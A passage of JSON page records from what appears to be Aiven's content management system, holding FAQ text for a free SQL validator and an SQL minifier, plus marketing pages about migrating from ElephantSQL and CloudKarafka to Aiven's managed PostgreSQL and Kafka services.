Code","variant":"icon-card"}],"itemsPerRow":4,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded","title":"Optimize and format SQL from your favorite IDE","topOverlap":false},{"_key":"e6cd2c2bc2f9","_type":"accordion","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"default","isFaqAccordion":true,"items":[{"_key":"7eebf5cc78f8","_type":"accordionItem","panelText":[{"_key":"1caaab5ebfe1","_type":"block","children":[{"_key":"3316c329ec2c0","_type":"span","marks":[],"text":"The SQL Validator is a free tool that automatically checks your SQL code and identifies syntax errors to help you write cleaner, more efficient queries. It provides instant feedback and highlights potential issues in your code. The Validator supports MySQL and PostgreSQL."}],"markDefs":[],"style":"normal"}],"title":"What is the SQL Validator?"},{"_key":"11188e23b57f","_type":"accordionItem","panelText":[{"_key":"26fd4e43c9fc","_type":"block","children":[{"_key":"9fc0d49d93140","_type":"span","marks":[],"text":"Input your SQL code: Paste or type your SQL code in the editor."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"a870ed6cfe51","_type":"block","children":[{"_key":"db7f8a58b7130","_type":"span","marks":[],"text":"Validate your Code: Click "},{"_key":"db7f8a58b7131","_type":"span","marks":["strong"],"text":"Validate SQL syntax"},{"_key":"db7f8a58b7132","_type":"span","marks":[],"text":" to validate your SQL code."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"b368742a0eac","_type":"block","children":[{"_key":"6e1dff00d3410","_type":"span","marks":[],"text":"Review the output: The results are displayed. Either your code is valid or the editor highlights syntax errors."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"}],"title":"How do I use the SQL Validator?"},{"_key":"be18cda95979","_type":"accordionItem","panelText":[{"_key":"f4daf8703c1a","_type":"block","children":[{"_key":"13aca9ac46230","_type":"span","marks":[],"text":"The Validator can detect a wide range of common SQL syntax errors, including:"}],"markDefs":[],"style":"normal"},{"_key":"01842dfbc00b","_type":"block","children":[{"_key":"419eac2fdec00","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"c4df23178fa3","_type":"block","children":[{"_key":"2e67b8e241880","_type":"span","marks":[],"text":"Missing or extra commas"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"9eaf315ee5c2","_type":"block","children":[{"_key":"5a44817ba86d0","_type":"span","marks":[],"text":"Incorrect use of parentheses"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"0aa389c7ed59","_type":"block","children":[{"_key":"670dd59081680","_type":"span","marks":[],"text":"Improper use of operators"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"6670b0f4d1fc","_type":"block","children":[{"_key":"1b2b379b5cfb0","_type":"span","marks":[],"text":"Improper use of quotes"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"be72913e2c58","_type":"block","children":[{"_key":"fbcc9289fdbb0","_type":"span","marks":[],"text":"Invalid expressions"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"What types of syntax errors can the SQL Validator detect?"},{"_key":"b5567f813479","_type":"accordionItem","panelText":[{"_key":"74686868ba2f","_type":"block","children":[{"_key":"32f10daa29da0","_type":"span","marks":[],"text":"Yes, your code is processed securely. We do not store your SQL queries or any details about syntax errors."}],"markDefs":[],"style":"normal"}],"title":"Is my code safe when I use the SQL Validator?"},{"_key":"ac1e7325b714","_type":"accordionItem","panelText":[{"_key":"151a3371d9e6","_type":"block","children":[{"_key":"09d8f25102a70","_type":"span","marks":[],"text":"We are committed to protecting your privacy. We collect minimal data to help us improve our tool and monitor its performance. This includes:"}],"markDefs":[],"style":"normal"},{"_key":"f0f1e89973c9","_type":"block","children":[{"_key":"634192de5c070","_type":"span","marks":[],"text":"The database type and version you select"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c199a651f123","_type":"block","children":[{"_key":"a3d433c3ec920","_type":"span","marks":[],"text":"The length of your query"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"2ade335f450b","_type":"block","children":[{"_key":"67694ac0986d0","_type":"span","marks":[],"text":"Whether the validation was successful"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8d6ec2924089","_type":"block","children":[{"_key":"1680447fcf91","_type":"span","marks":[],"text":"In rare cases, we may also track internal error messages for troubleshooting purposes. These internal errors are not related to the syntax errors you see in the tool and do not contain your original SQL code. We do not share this data with third parties."}],"markDefs":[],"style":"normal"}],"title":"How do you ensure my privacy when using the SQL Validator?"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded","title":"SQL Syntax Checker FAQ","topOverlap":false}],"resourceTag":{"_type":"resourceTag","contentType":{"_ref":"61d06542-93ca-4a1b-b925-69b3a7c6285d","_type":"reference"},"tags":[{"_key":"1eb8bd0fb868","_ref":"84cb2f1d-1db5-4eed-b049-86cc5f2715ef","_type":"tag"},{"_key":"33142ab89778","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"}]},"seo":{"_type":"metaData","excludeFromSitemap":false,"metaDescription":"Free online SQL Validator for MySQL and PostgreSQL. Quickly check your SQL queries for syntax errors and identify issues.","metaImage":{"_type":"mainImage","alt":"SQL syntax checker, Check and validate your SQL query for potential issues ","asset":{"_ref":"image-3144f0ba67a6ee869e8a72dcf5a56ff9123db405-1200x630-jpg","_type":"reference"}},"metaTitle":"SQL Validator | SQL Syntax Checker | MySQL \u0026 PostgreSQL Validator"},"slug":{"_type":"slug","current":"/tools/sql-syntax-checker"},"tags":[{"_key":"53d50bff364f","_ref":"84cb2f1d-1db5-4eed-b049-86cc5f2715ef","_type":"tag"},{"_key":"4eea1dfdb857","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"}],"title":"SQL Syntax Checker"} {"__i18n_lang":"en","_createdAt":"2024-11-19T13:48:17Z","_id":"7642e60d-43eb-4129-8f86-146ad0dbaf59","_rev":"h4ancfFTuSnQNBSq3JcZoy","_type":"page","_updatedAt":"2024-11-19T14:20:08Z","content":[{"_key":"fe0fbce15f39","_type":"accordion","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"default","isFaqAccordion":true,"items":[{"_key":"6c9ebd1270ce","_type":"accordionItem","panelText":[{"_key":"f3c53fb2856a","_type":"block","children":[{"_key":"d5da021b681f0","_type":"span","marks":[],"text":"Aiven Minifier is a free online minifier for SQL statements. The formatter will minify any SQL query while removing spaces, tabs and newlines wherever needed."}],"markDefs":[],"style":"normal"}],"title":"What is the SQL Minifier?"},{"_key":"a14a3512cf18","_type":"accordionItem","panelText":[{"_key":"d147bffa81f4","_type":"block","children":[{"_key":"bcc0bd4b7bc20","_type":"span","marks":[],"text":"SQL Minifier takes your SQL query and gives you back the sql in one line. You can use the tool by inputting your SQL code in the editor, press Minify SQL and then move your minified query to your application code."}],"markDefs":[],"style":"normal"}],"title":"How does the SQL Minifier work?"},{"_key":"33f670f5c937","_type":"accordionItem","panelText":[{"_key":"b6707d89acfb","_type":"block","children":[{"_key":"5b4a918d2a5d0","_type":"span","marks":[],"text":"Minifying queries can be used to compress and reduce the size of the SQL in your application leading to better performance."}],"markDefs":[],"style":"normal"}],"title":"Why would I need to minify my queries?"},{"_key":"bc12789c1abb","_type":"accordionItem","panelText":[{"_key":"5671a9bb0eb4","_type":"block","children":[{"_key":"5167e81027280","_type":"span","marks":[],"text":"Yes, your code is processed securely. We do not store your SQL queries or any result ouputs."}],"markDefs":[],"style":"normal"}],"title":"Is my code safe when I use the SQL Minifier?"},{"_key":"25731c92b94f","_type":"accordionItem","panelText":[{"_key":"ef26256a9a81","_type":"block","children":[{"_key":"4687e1487d990","_type":"span","marks":[],"text":"We are committed to protecting your privacy. We collect minimal data to help us improve our tool and monitor its performance. This includes:"}],"markDefs":[],"style":"normal"},{"_key":"def90c0dfd9a","_type":"block","children":[{"_key":"30de782fc18d0","_type":"span","marks":[],"text":"The database type and version you select"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ecc985d575e4","_type":"block","children":[{"_key":"3af6cae7a6c30","_type":"span","marks":[],"text":"Whether the minification was successful"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"How do you ensure my privacy when using the SQL Minifier?"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","title":"SQL Minifier FAQ","topOverlap":false}],"resourceTag":{"_type":"resourceTag","contentType":{"_ref":"61d06542-93ca-4a1b-b925-69b3a7c6285d","_type":"reference"},"tags":[{"_key":"1244c87f1258","_ref":"84cb2f1d-1db5-4eed-b049-86cc5f2715ef","_type":"tag"},{"_key":"d766a6e9764f","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"}]},"seo":{"_type":"metaData","metaDescription":"Minify your SQL code to remove meaningless characters and improve performance.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-7ec2a2cf87b57be7445c2d474bb767a85c46b2e0-1200x630-png","_type":"reference"}},"metaTitle":"SQL Minifier Online | Minify PostgreSQL \u0026 MySQL Queries"},"slug":{"_type":"slug","current":"/tools/sql-minifier"},"tags":[{"_key":"9e444088d2de","_ref":"84cb2f1d-1db5-4eed-b049-86cc5f2715ef","_type":"tag"},{"_key":"d2dc8daeb5c3","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"}],"title":"SQL Minifier"} {"__i18n_lang":"en","_createdAt":"2024-02-16T13:56:37Z","_id":"4d27e991-5d02-481b-a90b-2757473a31f7","_rev":"AhQsd13Ciq0lSu1FleyZoP","_type":"page","_updatedAt":"2024-02-22T08:58:18Z","backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"content":[{"_key":"91d540f41793","_type":"hero","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"208391d6-8aef-4dd2-a370-4b96150945b5","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-4f5f67b919f1bfdaa97f014c011d7bd4b32ccb64-1440x565-svg","_type":"reference"}},"backgroundImageMobile":{"_type":"mainImage","asset":{"_ref":"image-4f5f67b919f1bfdaa97f014c011d7bd4b32ccb64-1440x565-svg","_type":"reference"}},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":true,"description":[{"_key":"544ab2dfe1ca","_type":"block","children":[{"_key":"8441fcea823b0","_type":"span","marks":[],"text":"Continue using PostgreSQL® in the cloud by migrating from ElephantSQL to Aiven, a comprehensive cloud data platform that combines the tools to stream, manage and analyse data simply, securely, and rapidly."}],"markDefs":[],"style":"normal"},{"_key":"f2f4c0f41808","_type":"block","children":[{"_key":"988ea77d462a0","_type":"span","marks":[],"text":"PostgreSQL as a fully managed service, deployed in the cloud of your choice, with all the extensions you want out of the box."}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":false,"hostProviders":[{"_key":"5f42c5ba9e7a","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"},{"_key":"cab1f15f3b69","_ref":"54eb8b0b-593e-4fe5-908f-9a441bd329fa","_type":"reference"},{"_key":"34b13fb10daa","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"},{"_key":"b85c128ee004","_ref":"62e1cd4e-b8a5-4a68-a78f-80cd075c17e6","_type":"reference"}],"imageSize":"default","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Try Aiven"},"roundedCorners":"rounded-b","secondaryCTA":{"_type":"link","internalLink":{"_ref":"de53f46b-d056-463c-8d2a-4ee0480b9faf","_type":"reference"},"title":"Contact us"},"title":"Migrate to Aiven for PostgreSQL","titleMultiColor":false,"variant":"compact"},{"_key":"c87abc41729e","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","alt":"Aiven for PostgreSQL","asset":{"_ref":"image-d7dffc889c5202de55faf3dc2523f99b1ea2bc76-1600x1074-webp","_type":"reference"}},"imagePosition":"center","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","internalLink":{"_ref":"9131f94e-b41b-49e1-a147-a7a0a9b0c480","_type":"reference"},"title":"Read the migration guide"},"roundedCorners":"rounded-none","text":[{"_key":"e20879bad34e","_type":"block","children":[{"_key":"581e9a08044f0","_type":"span","marks":[],"text":"Follow these simple steps to migrate your existing ElephantSQL instances to Aiven:"}],"markDefs":[],"style":"normal"},{"_key":"4f951312818b","_type":"block","children":[{"_key":"369fb976096b0","_type":"span","marks":[],"text":"Sign up for an Aiven account and create an Aiven for PostgreSQL database"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"7aad4688b0ca","_type":"block","children":[{"_key":"eaa393aadbac0","_type":"span","marks":[],"text":"Note your connection details from ElephantSQL"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"97f60bffca64","_type":"block","children":[{"_key":"bf8fd663aed00","_type":"span","marks":[],"text":"Run one simple command line command!"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"}],"title":"Migrate with confidence","variant":"mediaRight"},{"_key":"e76d22c87a7a29c280e606db3166f7f4","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundColor":{"_ref":"5c6963ab-dc69-404b-af6f-d46262b3a35b","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":false,"disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"blmuk7bolk5h5nwc4z0mox76rcshglfn","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"image":{"_type":"mainImage","asset":{"_ref":"image-728af07e15f7eb0d5a2eb43ffe3ee8ef774a969c-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"464fb72ec098","_type":"block","children":[{"_key":"7f623a7ea7cb0","_type":"span","marks":[],"text":"Production-ready PostgreSQL instance in 10 minutes"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"89d7660c377e","_type":"block","children":[{"_key":"cb074208b87b0","_type":"span","marks":[],"text":"High performance clusters based on carefully selected instance types and storage options"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d475b3a24687","_type":"block","children":[{"_key":"0f4d32a9448f0","_type":"span","marks":[],"text":"Large storage capacity — 10TB plans"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"faeaea7e8c3b","_type":"block","children":[{"_key":"21c47c24cb11","_type":"span","marks":["e882317d1082"],"text":"Bring-your-own-cloud (BYOC)"},{"_key":"559e90ab3b23","_type":"span","marks":[],"text":" deployment model supported for strict control requirements"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"e882317d1082","_type":"link","href":"https://aiven.io/docs/platform/concepts/byoc"}],"style":"normal"}],"title":"Fast and flexible setup","variant":"icon-card"},{"_key":"iyiybnr4caiwu04td5ifpbih9g0682dn","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"image":{"_type":"mainImage","asset":{"_ref":"image-8bf6307344286cf3f810660569ecb590fee7fca8-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"f56fb179e459","_type":"block","children":[{"_key":"06fb0065adc00","_type":"span","marks":["24234a9b0f1b"],"text":"70+ PostgreSQL extensions"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"24234a9b0f1b","_type":"link","href":"https://docs.aiven.io/docs/products/postgresql/reference/list-of-extensions"}],"style":"normal"},{"_key":"4a7a7e517f76","_type":"block","children":[{"_key":"c87d9d8296700","_type":"span","marks":["28bf78029629"],"text":"Connection pooling"},{"_key":"c87d9d8296701","_type":"span","marks":[],"text":" for client application connections"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"28bf78029629","_type":"link","href":"https://docs.aiven.io/docs/products/postgresql/concepts/pg-connection-pooling"}],"style":"normal"},{"_key":"cf9e38aff0eb","_type":"block","children":[{"_key":"f781cdf8b4ec","_type":"span","marks":[],"text":"Secure network connectivity using "},{"_key":"90e55c5f278a","_type":"span","marks":["66a59bc09d0b"],"text":"VPC peering"},{"_key":"2045ab9521dc","_type":"span","marks":[],"text":", "},{"_key":"4074e1e39a4f","_type":"span","marks":["a0b46c539a76"],"text":"PrivateLink"},{"_key":"7f8435316a22","_type":"span","marks":[],"text":", or "},{"_key":"d54a56ba324a","_type":"span","marks":["4d05084820e7"],"text":"TransitGateway"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"66a59bc09d0b","_type":"link","href":"https://help.aiven.io/en/articles/778836-using-virtual-private-cloud-vpc-peering"},{"_key":"a0b46c539a76","_type":"link","href":"https://docs.aiven.io/docs/tools/cli/service/privatelink"},{"_key":"4d05084820e7","_type":"link","href":"https://help.aiven.io/en/articles/3507710-attach-vpc-to-aws-transit-gateway"}],"style":"normal"},{"_key":"5316542cc462","_type":"block","children":[{"_key":"e3e00bb94b060","_type":"span","marks":["5cd84bc08c16"],"text":"Integrate"},{"_key":"e3e00bb94b061","_type":"span","marks":[],"text":" with popular observability tooling"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"5cd84bc08c16","_type":"link","href":"https://aiven.io/integrations-and-connectors"}],"style":"normal"},{"_key":"934fab279af4","_type":"block","children":[{"_key":"3c4de63a9c800","_type":"span","marks":["9e780015af8e"],"text":"Create read-replicas"},{"_key":"3c4de63a9c801","_type":"span","marks":[],"text":" to different clouds or regions"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"9e780015af8e","_type":"link","href":"https://docs.aiven.io/docs/products/postgresql/howto/create-read-replica"}],"style":"normal"}],"title":"Integrates with your data infrastructure","variant":"icon-card"},{"_key":"lka0xi3vrzas0hb04ktlrb2pn5xy291j","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"image":{"_type":"mainImage","asset":{"_ref":"image-c05eaf1c20a2726f4c976ed070dbbce0398110b3-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"08b0e081ba1d","_type":"block","children":[{"_key":"50a40dd2e5ff0","_type":"span","marks":[],"text":"Manage your PostgreSQL cluster using Aiven Console, "},{"_key":"50a40dd2e5ff1","_type":"span","marks":["aedf12b95767"],"text":"CLI"},{"_key":"50a40dd2e5ff2","_type":"span","marks":[],"text":", Terraform, or Kubernetes tools"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"aedf12b95767","_type":"link","href":"https://docs.aiven.io/docs/tools/cli"}],"style":"normal"},{"_key":"4907eb0f9932","_type":"block","children":[{"_key":"446778eff53a0","_type":"span","marks":[],"text":"Scale, fork, upgrade, and create read replicas in one click"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"33d84db4bb09","_type":"block","children":[{"_key":"3cc3028c5a0d0","_type":"span","marks":[],"text":"Migrate easily between clouds and regions"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c83f35aa3d53","_type":"block","children":[{"_key":"2a73cd8e9b630","_type":"span","marks":[],"text":"Guaranteed compatibility with open source software"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"DevOps-friendly","variant":"icon-card"},{"_key":"h7s636hl1x5jkzqzny0w6ekfj5roj31v","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"image":{"_type":"mainImage","asset":{"_ref":"image-c73588011bea5b815efb960f9bb5ed6aa5a46c64-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"2c1b026997be","_type":"block","children":[{"_key":"fb92e0438f540","_type":"span","marks":[],"text":"Self-healing with 99.99% SLA for uptime"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"58530eeba4b5","_type":"block","children":[{"_key":"835cdbac96d9","_type":"span","marks":[],"text":"Zero downtime during management operations"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"51e4f037c7e3","_type":"block","children":[{"_key":"244db9d11b470","_type":"span","marks":["a6b2578a15b9"],"text":"High availability"},{"_key":"244db9d11b471","_type":"span","marks":[],"text":" plans come with 1 or 2 standby nodes, which also act as read replicas"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"a6b2578a15b9","_type":"link","href":"https://docs.aiven.io/docs/products/postgresql/concepts/high-availability"}],"style":"normal"},{"_key":"a2dfc2c47893","_type":"block","children":[{"_key":"be2e54476b460","_type":"span","marks":[],"text":"Automatic backups with "},{"_key":"be2e54476b461","_type":"span","marks":["2b823205c366"],"text":"Point-In-Time-Recovery support"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"2b823205c366","_type":"link","href":"https://docs.aiven.io/docs/products/postgresql/howto/create-manual-backups"},{"_key":"4caf3d00b36c","_type":"link","href":"https://aiven.io/security-compliance"}],"style":"normal"},{"_key":"1c3dd100b3f4","_type":"block","children":[{"_key":"84c51501e4ae0","_type":"span","marks":[],"text":"ISO27K, SOC2, GDPR, HIPAA, and PCI/DSS "},{"_key":"a3e2ee5b841d","_type":"span","marks":["1a09df7e4b7d"],"text":"compliant"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"1a09df7e4b7d","_type":"internalLink","internalLink":{"_ref":"02d777ab-2af1-4eac-b8e7-385a17dfadc5","_type":"reference"}}],"style":"normal"}],"title":"Secure and reliable","variant":"icon-card"}],"itemsPerRow":4,"noSpaceBottom":true,"noSpaceTop":false,"roundedCorners":"rounded","subtitle":[{"_key":"818848a7c041","_type":"block","children":[{"_key":"50e642ba86600","_type":"span","marks":[],"text":"With Aiven’s fully managed PostgreSQL® service, you can stop burning hours managing databases and get back to focusing on your code."}],"markDefs":[],"style":"normal"}],"title":"Why Aiven?"},{"_key":"h3r0wvwp7x6et0werbjkh4w8zc1virhh","_type":"logoList","addSpaceBottom":false,"addSpaceTop":false,"disabled":false,"fullWidth":false,"grayscale":true,"hideItemLink":true,"logos":[{"_key":"66tqzkl9bkdyutcfyty0bog7aaqq0k00","_ref":"689cb493-1e77-4232-b6ee-f9bef6a83582","_type":"reference"},{"_key":"ijwtcubnk5wsfby0fmdu2jmyhmfym66t","_ref":"59yXqJZsa9ReYDevSgZICT","_type":"reference"},{"_key":"v8yksk63e89fvr2m7mve502nslzsgo7m","_ref":"cTFgXaFCq9wmNPSKbqAxq","_type":"reference"},{"_key":"au40ddva6qiotnhale7202hpw9bp9ab1","_ref":"5utWlioOZrHNbIEqvk34Pn","_type":"reference"},{"_key":"nexpx415eqpc71oy6t92yhvbbnv3rp6z","_ref":"57a6DAKdLzRruiVEdAfNFW","_type":"reference"},{"_key":"zqpdwxnn0kicypj0wslsrpiqggecz34d","_ref":"Qi6syfOyHgBi7ehXtqDgB","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-b","subtitle":[{"_key":"1nvpbwdpvlkfdt47kgqn2p7ogxi28jwd","_type":"block","children":[{"_key":"zy5sn76zlg1x1q5j2zgscej4o6wax7ad","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"h3"}],"tagline":"Trusted by industry leaders worldwide","variant":"logo"},{"_key":"wa4o5f8owj758y2h6g9x8whlre0csbjj","_type":"infoBannerSection","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":true,"disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-77247051a84d463cd6ad7a2728bbbf2703e2a647-1793x627-svg","_type":"reference"}},"infoBanner":{"_ref":"5831708f-87f1-4e3b-84a7-3a24300d3689","_type":"reference"},"noSpaceBottom":false,"noSpaceTop":true,"roundedCorners":"rounded-none","variant":"default"},{"_key":"pqoy590i4cnlaj8wv1ej4twzon2c2n5w","_type":"pricing","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","defaultCloud":"DigitalOcean","disabled":false,"fullWidth":false,"id":"pricing","noSpaceBottom":false,"noSpaceTop":false,"service":{"_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"reference"},"subtitle":[{"_key":"ec4f48c69912","_type":"block","children":[{"_key":"9ff9436b84900","_type":"span","marks":[],"text":"Starting at just $0 a month for the "},{"_key":"9ff9436b84901","_type":"span","marks":["aed78b5eef35"],"text":"free PostgreSQL plan"},{"_key":"9ff9436b84902","_type":"span","marks":[],"text":", prices vary based on the number of nodes and your storage needs. Hourly billing saves you money. Change your plan anytime at no extra cost."}],"markDefs":[{"_key":"aed78b5eef35","_type":"link","href":"https://aiven.io/free-postgresql-database"}],"style":"normal"}],"title":"Plans \u0026 pricing","variant":"single-service"},{"_key":"e9385f1ebf83","_type":"textImage","addSpaceBottom":false,"addSpaceTop":true,"backgroundColor":{"_ref":"a8d709ce-37bd-41f2-99fd-a5108a266e5c","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-11ec6c02c62018b0928c7e3f23ee172e79a8eea3-730x260-png","_type":"reference"}},"imagePosition":"center","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","caption":"No credit card required.","externalUrl":"https://console.aiven.io/signup","title":"Get started"},"roundedCorners":"rounded","title":"Migrate to Aiven now","variant":"mediaCenter"},{"_key":"z5v1rec99qxj8xk7ofpps8nqug0z59gz","_type":"cardList","addSpaceBottom":false,"addSpaceTop":true,"align":"center","backgroundColor":{"_ref":"208391d6-8aef-4dd2-a370-4b96150945b5","_type":"reference"},"darkTheme":true,"disabled":false,"fullWidth":true,"headerPosition":"default","items":[{"_key":"3e6hr8g5vw2lqk92suwk00fg3dhnvxam","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://aiven.io/docs/products/postgresql","title":"Go to docs"},"subtitle":[{"_key":"pia3x74bff4o8bgfrhjvsxdmiwh74cu7","_type":"block","children":[{"_key":"btphqysb9hgd6lmxvg8j54sens1clnum","_type":"span","marks":[],"text":"Get started with Aiven for PostgreSQL, core concepts, how-tos and more"}],"markDefs":[],"style":"normal"}],"title":"Documentation","variant":"default"},{"_key":"f52ac42b5d3e","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"a829737a-0ab2-4037-a7af-be5f9a4f82cf","_type":"reference"},"title":"Read more"},"subtitle":[{"_key":"71ff58276028","_type":"block","children":[{"_key":"852e0140f4e1","_type":"span","marks":[],"text":"Learn more about Aiven for PostgreSQL"}],"markDefs":[],"style":"normal"}],"title":"Product information","variant":"default"},{"_key":"62919a0e4768","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://aiven.io/developer/store","title":"Visit Developer Center"},"subtitle":[{"_key":"204e4bb63ed8","_type":"block","children":[{"_key":"cf324a089bc00","_type":"span","marks":[],"text":"Guides to reliable, scalable, and cost-effective solutions for managing and processing large volumes of data"}],"markDefs":[],"style":"normal"}],"title":"Developer Center","variant":"default"}],"itemsPerRow":3,"noSpaceTop":false,"roundedCorners":"rounded-tr","title":"Resources"}],"infoBannerPosition":"bottom","internalTags":[{"_key":"c48871b3821a","_ref":"8dba8149-1dd0-4856-baf0-d8f852d7f6bd","_type":"tag"}],"seo":{"_type":"metaData","metaDescription":"Continue using PostgreSQL® in the cloud by migrating from ElephantSQL to Aiven, a comprehensive cloud data platform.","metaImage":{"_type":"mainImage","alt":"Migrate from ElephantSQL to Aiven for PostgreSQL®","asset":{"_ref":"image-e84430c4f19134546833507b2ae2105cf6eedbdd-1200x628-png","_type":"reference"}},"metaTitle":"Migrate from ElephantSQL to Aiven for PostgreSQL®"},"slug":{"_type":"slug","current":"/elephantsql-aiven-migration"},"title":"Migrate to Aiven for PostgreSQL"} {"__i18n_lang":"en","_createdAt":"2024-02-15T10:12:18Z","_id":"96205409-72ab-49a8-aa5f-f66fe71d9d62","_rev":"AhQsd13Ciq0lSu1Fleydw0","_type":"page","_updatedAt":"2024-02-22T08:59:28Z","backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"content":[{"_key":"u5r4azy7flniz76f6iq1rbtmzz0g25nl","_type":"hero","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"208391d6-8aef-4dd2-a370-4b96150945b5","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-4f5f67b919f1bfdaa97f014c011d7bd4b32ccb64-1440x565-svg","_type":"reference"}},"backgroundImageMobile":{"_type":"mainImage","asset":{"_ref":"image-4f5f67b919f1bfdaa97f014c011d7bd4b32ccb64-1440x565-svg","_type":"reference"}},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":true,"description":[{"_key":"c5bfc8e9bf9c","_type":"block","children":[{"_key":"8b4ee19d76e00","_type":"span","marks":[],"text":"Continue using Apache Kafka® in the cloud by migrating from CloudKarafka to Aiven, a comprehensive cloud data platform that combines the tools to stream, manage and analyse data simply, securely, and 